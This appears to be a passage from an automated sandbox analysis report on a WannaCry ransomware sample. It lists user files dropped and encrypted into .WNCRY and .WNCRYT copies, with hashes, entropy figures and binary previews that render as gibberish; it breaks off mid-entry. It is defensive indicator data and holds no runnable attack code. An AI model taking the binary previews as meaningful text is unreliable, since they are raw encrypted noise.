                                                                                                      Preview:=...'.9^...ru. ....-....0yb._.~&F.....H2.~........tp..{..F......(.....O.|0..R.....v..&P....`.!..R..).Y.c.n+;.....S.g.......1..h."o.($X7:]...t;,z.. `2_EV;.TtIb..U2..E...9M..H..-...J.~WO.~.U`.d...T.j.a...v.y.....%...{y....P..O.........ve[..^.i.V...GX0M..@........>v...dK..!-..........,.|oT..2.8_N......d........H,.E.....F.!..#78..?.tw.J....u|^8.....".0..|...W.j...^.Hg5..+Q=....m.....,.k6.k=g..Z.j.4.3.F..4....@...M/.........0:..k..E....k..n.)iLo.O..Zn.....m...E......c.b..\.$)..`..Y.{.yJx..3.{I..k.;..`..~.V..i#..H.>....A.F..QE..N9..E. .e.......eu.L.5.Y...X....@.3n<..P.....Nqm.S.z,T.s.....Ls.W-..MR..U.......E;.T..O...'E...{...4...@........%*\@*..?....:.x......Xg..d~.e.^..[.H?.{.h..a.../;!..j.e.X.........0z[.]....B{...-.Y........v..Y."...R..1..A.....!&...p...Jf..V..?y..^3.^}..T...C..0 N.[% .Z..mm.NZ.....,]...=...9...3[..#....eI(lG..)_"r...&..^.b.z..5;I8.5.q....N..i..<'.d.Hh8...t.........8...0...e.... &.........?.i.!...zz......~g.

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG\EEGWXUHVUG.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.8477683675771885
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkE2kTSzGvUDrxZXFQPA19HjSc9f1WGqaL/jJpJv5XHRc7u2y1g:bkE2zGMxZXFQPUhScUXUJpF5XHRc7u2f
                                                                                                      MD5:946CF277639FA168C46B9F6B92D3018B
                                                                                                      SHA1:60EF15CFF9CB20BCE6759BBF9FF011928E66B5DF
                                                                                                      SHA-256:C0722DF859CB1465C0DA39F2933318022B421555B01AB9EAEF46117308E7E36C
                                                                                                      SHA-512:6E7D353B449758BF548AF7821558E0B935575CF765EB74DA4555C8A70431D33697B39C38AF5BBC47148A214A946464F27AA8C87ABA367AABAE648E48DE219DA3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....&./p.A.1...t..My.5..5C=r.m...c.;..h#.".l.@..~......#.;Ov"He3R..v....!..W*l...l.q..(.. Z..[...kd.A.5D..LKwKQ...X.S/.+.H..Q.b.q.v...!.2.4.C.ie.Y.\R.?..*..z.Y..^@.<+.G..h.m...|.sM8....;......H...p...O..}...K.gGf....{...?x..r..=.n..Y.9.Nw...o................'Y\\.....LA.iB.vu........7W..pC.-1.].....O=..!.-...+....d.....9...xH..-Mc.U)|....0.|.3f...1...TA....j<....L...TY{v`..tS1....@..R.....5.P..qj..i.[.9..Q...J.YW4'.x.]U...)+...n|.j.u ......C....5S.;./..._.....7.Y.....W.g.....~..vw.DB.b>......,.vE...)M.9o.{.`8>p.li.....p.....^......8.J@.3.W..K..1..9.t.A...3"..;...?*.n...p.p+h.....Z...Z....i...E....3...F,..<PB..@Y9.f.E..E.H..nA..?........f.......h.[...7.. Z_@N7P.V.6^ .SCj.j4..Qf.o.u..&.....>..dC...N...C..%.N.r..."@...[...,.zI9.&....Z......p..c4......q-B..+..SX4D...W.q..P@NA...d..KDZ. e...K.7.g.t.xXF@..".;p.F.M...X.K..O......7...f.O.q..z"..-...XvF..qB.t.!..(...@V1..T\....'./g.5z..^J-..3<0.&.=u...........5...lb........"'...X...Y.

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG\EEGWXUHVUG.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.8477683675771885
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkE2kTSzGvUDrxZXFQPA19HjSc9f1WGqaL/jJpJv5XHRc7u2y1g:bkE2zGMxZXFQPUhScUXUJpF5XHRc7u2f
                                                                                                      MD5:946CF277639FA168C46B9F6B92D3018B
                                                                                                      SHA1:60EF15CFF9CB20BCE6759BBF9FF011928E66B5DF
                                                                                                      SHA-256:C0722DF859CB1465C0DA39F2933318022B421555B01AB9EAEF46117308E7E36C
                                                                                                      SHA-512:6E7D353B449758BF548AF7821558E0B935575CF765EB74DA4555C8A70431D33697B39C38AF5BBC47148A214A946464F27AA8C87ABA367AABAE648E48DE219DA3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....&./p.A.1...t..My.5..5C=r.m...c.;..h#.".l.@..~......#.;Ov"He3R..v....!..W*l...l.q..(.. Z..[...kd.A.5D..LKwKQ...X.S/.+.H..Q.b.q.v...!.2.4.C.ie.Y.\R.?..*..z.Y..^@.<+.G..h.m...|.sM8....;......H...p...O..}...K.gGf....{...?x..r..=.n..Y.9.Nw...o................'Y\\.....LA.iB.vu........7W..pC.-1.].....O=..!.-...+....d.....9...xH..-Mc.U)|....0.|.3f...1...TA....j<....L...TY{v`..tS1....@..R.....5.P..qj..i.[.9..Q...J.YW4'.x.]U...)+...n|.j.u ......C....5S.;./..._.....7.Y.....W.g.....~..vw.DB.b>......,.vE...)M.9o.{.`8>p.li.....p.....^......8.J@.3.W..K..1..9.t.A...3"..;...?*.n...p.p+h.....Z...Z....i...E....3...F,..<PB..@Y9.f.E..E.H..nA..?........f.......h.[...7.. Z_@N7P.V.6^ .SCj.j4..Qf.o.u..&.....>..dC...N...C..%.N.r..."@...[...,.zI9.&....Z......p..c4......q-B..+..SX4D...W.q..P@NA...d..KDZ. e...K.7.g.t.xXF@..".;p.F.M...X.K..O......7...f.O.q..z"..-...XvF..qB.t.!..(...@V1..T\....'./g.5z..^J-..3<0.&.=u...........5...lb........"'...X...Y.

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG\EFOYFBOLXA.pdf

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:DOS executable (COM, 0x8C-variant)
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.804738212696676
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:YPzjnPOJi7hHyF836PNugJwlH5MR4O6AqxotYk:YPzqJO4BVuWwREWotYk
                                                                                                      MD5:95B8F1E70E68F84DA4406E6512CE3DAD
                                                                                                      SHA1:AE68D581D1A7FA85D4CB763D6243F64A35A36DB7
                                                                                                      SHA-256:51DED3C45B42F6BB699F06A6B336FAAC4A48E4AA64F1652D1D9ACFC60A7A222D
                                                                                                      SHA-512:4C089C75F919A0AE8BA03736C40F4C2FB6A70C4ABAC30FBFBAAD656582CC54A43A57FF989160940131C6BCDCB5D482B7AC7A14CCB5608C35E0E74732AC86FEFB
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:...J.<.5/2..z...^ZJ..w_.~2Z.#...)F....8..*.U.|.,5..L..6.Y........6{..W..$.....r.M...+.s.....UT....=..bi..-90H.M.!......~.4R......v.c?nE..p...;.. Z.D..8Z..=gA.`.1.b.g.XK....r.J.(......._.~.=...%V.....+..cb......[.i.).....N*f.T..z.H^(..>..G.c..[J...q.r.r.JL....7Pc..4M...1....P...1.0V7ma' Y.LB.E-.J.......O(d.8..U....A.J.....u.....q...o........l.$.......C......M.E..)...08.a.......Vb..^..k\..sgff......a].C...1.-...tu........g..iu.....'...-){*mcFZC.<......-s..h>.....}..<o........K.[.p(9..!.....h.x.......R._.{7y...N9b.H\V...p....]..8U..}....C....Nv.%.8g,.....Fb..LG...w..'.2.....P.2u.v...(..@;.....F.."F@...@5.2.Ip........y*;zy.../......5.`x.$'G.dE2.M..6y...#.....N..2..G.Y....:7.c..N..xm.I.....R."....y.+.*....*..._..Kr..W.f./...]?.|...c.+..}..H.f.9M@B$=uE.[,...r.....Y<.Gz.A=u;....i.Ip{/.}.#.p.J.t.........'....`.@...^...0..(....*.q}l{.6......>J.@.)....eo...(..0bt..`+.L.tkR..om.f ..Fw.....Gj....4.J~Y.b..q{...O.5jaE(i.t.}.`.G...7....v.h..=;..u.f.$Z.N

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG\EFOYFBOLXA.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.871913839283402
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkh6razbGMNPXF9GKytVr67e1ki2ebwVxj+Kjov09Ipz/NlHlKbxaA/fJnt:bkh6reG+9Y167TvebmjyuIpz/NlHlRIb
                                                                                                      MD5:E560DCA055558A05EA01536D69D9A79B
                                                                                                      SHA1:F4DB94C4743093C76F4CB8E2121F6ACCA0670466
                                                                                                      SHA-256:7EA0CEA77E004AC187FA99B14CEBDA493078B63A8F663DFB9292330368E7C0EF
                                                                                                      SHA-512:FE4C825DD22F42F22290A2330F61AD2E87DB064747995987A7B5E9736DD0D4CB309FF9EB49F92BE0BA672370A9569E8EA8B894E2AFCD6D7FE02C1AE8EABFC136
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....g.h.[iU!.1.}V.Ij[h..........a.s.c.Y.Z...=...6..Q.O..rm....<>z......rB...........Z.....}:4.....?.{.rK.....9.f...g...+.w..3......k.([z.[L...2.:..E9....Vm.O.g.6.1.O"..n>.D.^...u...MT$..G.&&....U.......l..U.IGK."..<R......M.N.d..y$?.:..W...=K...m<._]............e]"....&....W.<.{.6.u.G._F.w`jgm..>^...Q..5+}..].&.......K....*...%..|.7..t.S...$.}..].vf.]....&Q.HAD......>S.L./...<. Kb.-..0.1;....V.0 ....9=\.t..]r.....d4;.'S....L.7.y...d.E......n.C...."...6.20.*u.5".a.]...N....o.w0!.R(...e.r1._&.......M..Vi/..x.v.B./.....gm7MVa. .......\..w..|./.`..hz......g8<[l.m..uf.WF..g\.I. ..RZ8@.v.muK?.N...].p.M.c5Q....F"../wM.,=...l.....bC.lm...L..Z.;J-.wC...@.Z.!.9....Y.F..b..t.3.u..~.M....JF....8.....@.d2....F......0|M..X..J...w5:.b^XjTk...|.P...g...~.-.$.;.*.G..SP.......7..e......q.`p......W........8J..N$...d..(~.M..,.c..G..v.......=.r45..}.{..YD8 m.._.>W.+.x2f:.ml6.&..P.nU.Vb..0..8.B;..G.b){..,.7.a.a......L.....,<...N.v1F#.j.:$.o..8..x

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG\EFOYFBOLXA.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.871913839283402
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkh6razbGMNPXF9GKytVr67e1ki2ebwVxj+Kjov09Ipz/NlHlKbxaA/fJnt:bkh6reG+9Y167TvebmjyuIpz/NlHlRIb
                                                                                                      MD5:E560DCA055558A05EA01536D69D9A79B
                                                                                                      SHA1:F4DB94C4743093C76F4CB8E2121F6ACCA0670466
                                                                                                      SHA-256:7EA0CEA77E004AC187FA99B14CEBDA493078B63A8F663DFB9292330368E7C0EF
                                                                                                      SHA-512:FE4C825DD22F42F22290A2330F61AD2E87DB064747995987A7B5E9736DD0D4CB309FF9EB49F92BE0BA672370A9569E8EA8B894E2AFCD6D7FE02C1AE8EABFC136
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....g.h.[iU!.1.}V.Ij[h..........a.s.c.Y.Z...=...6..Q.O..rm....<>z......rB...........Z.....}:4.....?.{.rK.....9.f...g...+.w..3......k.([z.[L...2.:..E9....Vm.O.g.6.1.O"..n>.D.^...u...MT$..G.&&....U.......l..U.IGK."..<R......M.N.d..y$?.:..W...=K...m<._]............e]"....&....W.<.{.6.u.G._F.w`jgm..>^...Q..5+}..].&.......K....*...%..|.7..t.S...$.}..].vf.]....&Q.HAD......>S.L./...<. Kb.-..0.1;....V.0 ....9=\.t..]r.....d4;.'S....L.7.y...d.E......n.C...."...6.20.*u.5".a.]...N....o.w0!.R(...e.r1._&.......M..Vi/..x.v.B./.....gm7MVa. .......\..w..|./.`..hz......g8<[l.m..uf.WF..g\.I. ..RZ8@.v.muK?.N...].p.M.c5Q....F"../wM.,=...l.....bC.lm...L..Z.;J-.wC...@.Z.!.9....Y.F..b..t.3.u..~.M....JF....8.....@.d2....F......0|M..X..J...w5:.b^XjTk...|.P...g...~.-.$.;.*.G..SP.......7..e......q.`p......W........8J..N$...d..(~.M..,.c..G..v.......=.r45..}.{..YD8 m.._.>W.+.x2f:.ml6.&..P.nU.Vb..0..8.B;..G.b){..,.7.a.a......L.....,<...N.v1F#.j.:$.o..8..x

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG\GRXZDKKVDB.jpg

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.811972752359457
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:osfvufICiVAH9O89riYl/CdLxYhXV9pecCojGWExtSMxuhMqilo:on9vHlBV9phrjQxTUhnEo
                                                                                                      MD5:1862D41F6171AA4EE04D2E4D11EBD21D
                                                                                                      SHA1:3E567E32C793D258DFA9F514E98401028A80C344
                                                                                                      SHA-256:876D2DEDFCE04F702F7CD4A14DEFCE23EFD0644E9EC1BF8F0C4818827EEF201F
                                                                                                      SHA-512:CE5726DBB82DA3154E5818C412CFB818BBA95233790B773E613569291F11DA7E6EE82618918CB0141830EDDCF738B0923AA01882A7046984EF97392161FE04FF
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.n.......S....0.C:..z......3......`-.b.v.L..CG....%1*AD..D...).....[Z...Ev'.......m.......X...;.;.8.....I<......`...~;..w....1..qX.$f.9x.....g".KK..1....<........T..C.r,h........&....<....;5..ux.Z#............\......X7.../p.*...L...wo.................?v.._.*._[...G..c........'!W.2..m...A..*W....Q>.6...9.w..@.....VF.u._..3.....7......Q."....D.`.k..../.rn..U}#.1/..3(.....=.9W5.,...K.h..7...akX-.......'...q..<......N.......w.=....p.+..+.,.......47.m.},P...G....M........?..j^9.mo.J.....X7..En.......+m..w.S.C...pJ..`j[...z.....H..g......f..H.Z0....}J......g...7.b#...Z.J....B.,.nJ'.v.N......9.ju/.k.yh.......a}.......1-%. .g.[.........7..]..'.i'.|xAa.......Qp...M.SM.......0VgN.$F2{&.&)...].l.pl\."....l.."5..k.A....|.g.- . .$2.E.9X}5qv...P.8..^4...Bz)S4..e|..6<n.....J.H.|.Y...q...e.u...U..4..L....X(.......T..@..]!.'..x...%.3...I..+.Ha.Z..\".u...%..t.F....n....ehd~...MT.o.@....U....6..I .;....R_...8CO....Tf.....0...Q.....*.e.<.....2.~>6.

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG\GRXZDKKVDB.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.823782632655385
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkO2Rz99NcaYbp3y/WBYOu/a+OdT+KoluP+/ckydGPD2tt6L5GKTLUP1jc:bkOQ9cNSAdTQ7wd+Etdc
                                                                                                      MD5:F9782D6BC925E8D1E31AF9CFE25066AB
                                                                                                      SHA1:B33B6CA02B0FAC7114137D2FA852508FF106368D
                                                                                                      SHA-256:242F2D5EAC139AB621DC7BA303A7FC5532D79FC0D45817BAB18299CBB3EAF57F
                                                                                                      SHA-512:A75D71DFAD62B8F4AFABD462FE3B152960A5F231D61B3990B22FC4A9D2F6BEC15A402EB3EE9EAB3ED82BE654C1D350F48F8CF2AE8201BF63AAAC29C37F5A6641
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!...........s...0p.L.a.v....h..kb...].........m_u|..}q.v._*M....e3...........d....>..D.d.*.`.p..k9Mf...dWP:....<...#....e.` .Y..f}.E..$Y.,.2n....]}4?..t./.|..g....i.>Kd..FPND.....Q8.d..P. ..@.r;L&Z.*...kG..C.|)..EItt..&I..G..V..>($x5..V.i..#z......................5.p.nJ...+...;.=..........G......u..;..8.}F ...r....b..6.A....<m....J.7.*a=cB..).0.v?.jv1".O.....F0.b7.......t...6.)v..ujl.\c.2.E7..Bj7...h...z....K.o.:.z..fw..a7..W.i..Lz.e4......l...u.t....|8.VpG..j.o.n.....Y3.`x.K..op.U'....s.S..U.8.....G<.....k...G..O..ks..#u=.........g..uMk.T..q'..0.-..d....qh.c1.......V...h..hK.}......@...[.......%..B.....0....<.......C.o.|...k_..}.3*.}...........V..V......+....WV...r..+XQ.\.qP..fg7.s...,...?......k..NR]..$..!......,.r|\..z*.l.j%..H..h.......'.,...I...1.'k.!.}}.z..\.,.Vo.....%B.~c..z..W...@...c$3?....g~...;.9.:l..+..I..m...~.A2.......+W...f.v.83...6.t.....Ox........(".g{3.A......\......O..3u..d...,[F[ .r.-..4#..EY....M..~q.fJik...

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG\GRXZDKKVDB.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.823782632655385
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkO2Rz99NcaYbp3y/WBYOu/a+OdT+KoluP+/ckydGPD2tt6L5GKTLUP1jc:bkOQ9cNSAdTQ7wd+Etdc
                                                                                                      MD5:F9782D6BC925E8D1E31AF9CFE25066AB
                                                                                                      SHA1:B33B6CA02B0FAC7114137D2FA852508FF106368D
                                                                                                      SHA-256:242F2D5EAC139AB621DC7BA303A7FC5532D79FC0D45817BAB18299CBB3EAF57F
                                                                                                      SHA-512:A75D71DFAD62B8F4AFABD462FE3B152960A5F231D61B3990B22FC4A9D2F6BEC15A402EB3EE9EAB3ED82BE654C1D350F48F8CF2AE8201BF63AAAC29C37F5A6641
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!...........s...0p.L.a.v....h..kb...].........m_u|..}q.v._*M....e3...........d....>..D.d.*.`.p..k9Mf...dWP:....<...#....e.` .Y..f}.E..$Y.,.2n....]}4?..t./.|..g....i.>Kd..FPND.....Q8.d..P. ..@.r;L&Z.*...kG..C.|)..EItt..&I..G..V..>($x5..V.i..#z......................5.p.nJ...+...;.=..........G......u..;..8.}F ...r....b..6.A....<m....J.7.*a=cB..).0.v?.jv1".O.....F0.b7.......t...6.)v..ujl.\c.2.E7..Bj7...h...z....K.o.:.z..fw..a7..W.i..Lz.e4......l...u.t....|8.VpG..j.o.n.....Y3.`x.K..op.U'....s.S..U.8.....G<.....k...G..O..ks..#u=.........g..uMk.T..q'..0.-..d....qh.c1.......V...h..hK.}......@...[.......%..B.....0....<.......C.o.|...k_..}.3*.}...........V..V......+....WV...r..+XQ.\.qP..fg7.s...,...?......k..NR]..$..!......,.r|\..z*.l.j%..H..h.......'.,...I...1.'k.!.}}.z..\.,.Vo.....%B.~c..z..W...@...c$3?....g~...;.9.:l..+..I..m...~.A2.......+W...f.v.83...6.t.....Ox........(".g{3.A......\......O..3u..d...,[F[ .r.-..4#..EY....M..~q.fJik...

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG\NVWZAPQSQL.xlsx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.836818661416473
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:KzwgxLVvlU82SHZjNXyBzQDqKbPNqgAhE8:ZGJGzShN1qsF2F
                                                                                                      MD5:07073AAF84D38AD0BAF28CDD408E7B5F
                                                                                                      SHA1:5F20C81D542D87EAE712321DE999CF22A9BA1046
                                                                                                      SHA-256:2BA62E19FDCE06143457E2EFD7EF0AB67B65483ACEFB9F64FF5AC351BBAF3482
                                                                                                      SHA-512:8852BEDBB2270098627722FB0D967B894A83B36F4176C72947C5618982E786B9E777C1609DC847DDA4EA86C30BC7684DCE05236BB67503904583CED968FA15C3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:n"..x...a..sHP.v...Q...*.....{.J..=FM@]..7(.. .\UT.P. v.a.k.$]o...Tgk..v...U*.V|.h....`......._Hq(.....DDc.........Q&...i.C.G.'.."...3...V.2...N.@;..o.#.:.....y......zJ...8d0w.=.H.k....L.`..:...r9..,Y..27,.O...O+q.^..;I,`l..N.n..]...<..:.._W.~...O..F.....b...F=U.n:...:.8...t(\2.j..7......O.&..T.d..._^.....V.Vg...mX.....7.....&..f'..u..+zG...v..7A.9q......s.6.Y/6.....B.\..m'.T.%.fN.8......G...k...e.j...d..@..[..a.......]&....6v...J..V7....2i... ...#....F...P....6.....=.0.Rk3J........ yL...h.?....x..f.....Ol../...(..NFgK..P...........07.Et.....tC..97~ZS..E..,...bQ....L......r .)%t.....l.e.].F5.!.X.P.q$I.aD.3..mm.q......wDf.<!f.._j.*...vxLi...bbv.8.H#O....%..m..@..'.h.{....|......6.@.Dx.-V...E..I..so.d....?..0.....Y..+.E...?gXH;.~.."...4..tI.=.O..E...4.b..|..dt.>.Q..'..wf..# <-xz.V.& .mQ.3..-.^._........f../M.!...a.......hW*.a..x..`_2..o..S..4..B..@..t.....N[..5......m....p!m./....!..}w[Ku..l.`....&......Vs.~[.^.B.Tb.C.............|.cE.m.8...

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG\NVWZAPQSQL.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.84528009420608
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkKBUBG3JknNuDgX2UyK1HZ9SeYz5AsL0F9Ml07kBxy+qOBvDivr5BIV:bkKKBDNTdFZ5YdA58eaxPqqev0V
                                                                                                      MD5:FA3FA90628D5A66332B47FF9B31CECD5
                                                                                                      SHA1:8C3BF3F3C18699D4070DE87A2C48D4694323572B
                                                                                                      SHA-256:1FB1B645F34F6AF83BA0B42910E4443FD1374F5FA89C2E9B78216D1A5D32943A
                                                                                                      SHA-512:8E2729379B1CF855FBB99500E26BA0C4E8C62D5167ABAA260C58CDFD969050727D625FB1C9F47B1B563C3F0FC8F447514A3BB47A3B08BE4380149BDAD007A1A0
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....p.................T...#2.k..s.....8...t..b9.a...CBI...+..h0.$.^.....?....S.......3b.Q._.].>.2v........QY..Y...T41G..:sv..b....IjU.........>@..Y..CR@....F.K........=.&.7D.jJ...J..u.:....c..QMQ.h..JW%..7{.3.R..M...1.v(....HyvS.QN...J.k..A...J3.J.a................1.~nSZPL$n.YP.j.}k.j6..45.Tl.E.RO`.......]u.A[.n..N.dQbR.6..0.p..y...6..&<.........].U;.4...F.e.......>..........Z...{j.........E...&......<..jq..Lo{.~Q...h#m.@.R....#.85...Jw.c.A.Y.-...'.....G3.R..7...I2...St+.%......>..........]fVgw.....,.....*.ulj`Tj....`.3.h..qg.s.9..L+.zu"}....eh......yz...b{Bq...D6O}./..x...F...54.....'....=!.2..E{....z....R`...5...Y.5..a..#...k+..ra..vb..p..=YE...^p....P..g...vh...G^N.sM:...~...b.#......z.~.E.......4T.....e.2..2{...#.V..Z......9..9..".oZ.Q..x_.F..B/.....m...U....v....7.....V.....,`.e....\....3....f..L.Uc..=.*2...N.....FI.Q....J%..-.rZ......rx.Ha+n..d1..f..6p_.=..'Z......B...o...,..9R.......K.ID...bL_R_.A....~....u...A.I...v1...4

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG\NVWZAPQSQL.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.84528009420608
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkKBUBG3JknNuDgX2UyK1HZ9SeYz5AsL0F9Ml07kBxy+qOBvDivr5BIV:bkKKBDNTdFZ5YdA58eaxPqqev0V
                                                                                                      MD5:FA3FA90628D5A66332B47FF9B31CECD5
                                                                                                      SHA1:8C3BF3F3C18699D4070DE87A2C48D4694323572B
                                                                                                      SHA-256:1FB1B645F34F6AF83BA0B42910E4443FD1374F5FA89C2E9B78216D1A5D32943A
                                                                                                      SHA-512:8E2729379B1CF855FBB99500E26BA0C4E8C62D5167ABAA260C58CDFD969050727D625FB1C9F47B1B563C3F0FC8F447514A3BB47A3B08BE4380149BDAD007A1A0
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....p.................T...#2.k..s.....8...t..b9.a...CBI...+..h0.$.^.....?....S.......3b.Q._.].>.2v........QY..Y...T41G..:sv..b....IjU.........>@..Y..CR@....F.K........=.&.7D.jJ...J..u.:....c..QMQ.h..JW%..7{.3.R..M...1.v(....HyvS.QN...J.k..A...J3.J.a................1.~nSZPL$n.YP.j.}k.j6..45.Tl.E.RO`.......]u.A[.n..N.dQbR.6..0.p..y...6..&<.........].U;.4...F.e.......>..........Z...{j.........E...&......<..jq..Lo{.~Q...h#m.@.R....#.85...Jw.c.A.Y.-...'.....G3.R..7...I2...St+.%......>..........]fVgw.....,.....*.ulj`Tj....`.3.h..qg.s.9..L+.zu"}....eh......yz...b{Bq...D6O}./..x...F...54.....'....=!.2..E{....z....R`...5...Y.5..a..#...k+..ra..vb..p..=YE...^p....P..g...vh...G^N.sM:...~...b.#......z.~.E.......4T.....e.2..2{...#.V..Z......9..9..".oZ.Q..x_.F..B/.....m...U....v....7.....V.....,`.e....\....3....f..L.Uc..=.*2...N.....FI.Q....J%..-.rZ......rx.Ha+n..d1..f..6p_.=..'Z......B...o...,..9R.......K.ID...bL_R_.A....~....u...A.I...v1...4

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG\PALRGUCVEH.mp3

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.808234793825234
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:SagMTPAdjK09f5L9uYskK9X75s+kXbdFsOpqHWS8kN7eudfZc0:SVvdjK85gebX5FsJo8ey
                                                                                                      MD5:01788CD9C75A4B0215191AF0B5AE9C5E
                                                                                                      SHA1:A8CC02B49CF6985AA3BA4883AB7084C6C2ADCCAC
                                                                                                      SHA-256:3EFEDA1CB9EE4EDD3F9550447AAC2C209A2B42078BBDBD2C512980AEADA0DD56
                                                                                                      SHA-512:3FCF44E990AF69E6B3425379650B6915D7E22AD1832ECB5B4456707B3CDF63475645FC90CD1581B0A17CA368CC534DCCD42B79F9DCA61E179A5141C3F9787712
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Ty.....%...3T.&.J.&a..{......z..(.q.\...U0....@+.~..K..o).4.........[:...z.{..3......J}...^...c.......O.../h.33...h.m.-.SGR:...X......%.D....*.A}.v..).s&.3\<.z..x...X.....9..........Hlw.p...D;...9x.sy.`..l$..2.UP<....m..3...4qHY1f3..&.1.#.j".Ga..;".......f.~;...:6..+...NP..akG..R_.d..j.....B.^.p5..y:..-..F.V...]S..)+.b..6..7.....z.i+..5..Dv.?.z.:..H.BU.....k.{..1..I9.*#.....]..B.>......F[.......h9].....j..9....a......b.h..~1I........P.)b...P.,.Q........2...rD..bN3...).....9..a=.)[.i..{../......Z..AUf!....&y.....o^v.+h..eh'`..(..O.v.V.`..:...A............./../~Gq.J.n.5.......R...y1...D.1..^....R.H=. .... .".S..CZo\d.@.@.E.T..Mv.E..=..O.....?2..%]I[.&..A..].........C.6..]m.%k...(..i..%q+..~..>E....g.r..I....^.~.d...h^..D0....m.cb...l*./..)6U.4....B.K...w.cX].Y..v..!...>w(....{.|..N..l.r.T..sI......5..}...od.G.....[S.3 }.N.....z...p...J.j..5"J...d...N.m..3..U.....7........F.....O.f....jl.1.XU~...HD.P<...nO..}f'.R.=KCP..=A..8.Z...ZQ..;.$..=hUw]I8.v..e

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG\PALRGUCVEH.mp3.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.846584641162905
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkorx3mdUO2/eYMI02frbR9kZ7kf0jO8qErXrofKL1TRre0umfNVOv:bk2xmd2/ex6vPOkf0jidU1T1umfNVOv
                                                                                                      MD5:64D98F6F53E608B865C691370A60AAFF
